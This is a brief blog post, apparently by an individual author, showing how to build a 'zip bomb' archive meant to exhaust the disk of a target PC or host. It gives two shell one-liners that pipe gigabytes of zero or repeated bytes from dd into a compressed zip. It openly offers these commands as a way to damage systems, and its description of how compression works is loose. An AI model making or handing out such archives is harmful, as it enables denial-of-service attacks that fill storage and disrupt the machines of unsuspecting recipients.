Creating a zip-bomb file

Arian Fm
Aug 11, 2024

--

A zip bomb is usually a small file for ease of transport and to avoid suspicion. However, when the file is unpacked, its contents are more than the system can handle.

For creating a zip bombing file to ruin hard disk of your pc or host ps you can do something like this:


dd if=/dev/zero of=arian.txt bs=1MiB count=1024 && zip arian.zip arian.txt

This command just make a zip file and eliminte repetitive characters from file.

Do this and compare both file .txt and .zip size.

You can run the following command to avoid making .txt file in your system:

dd if=/dev/zero bs=1M count=2048 | tr '\0' 'A' | zip -q -9 > arian.zip

--

--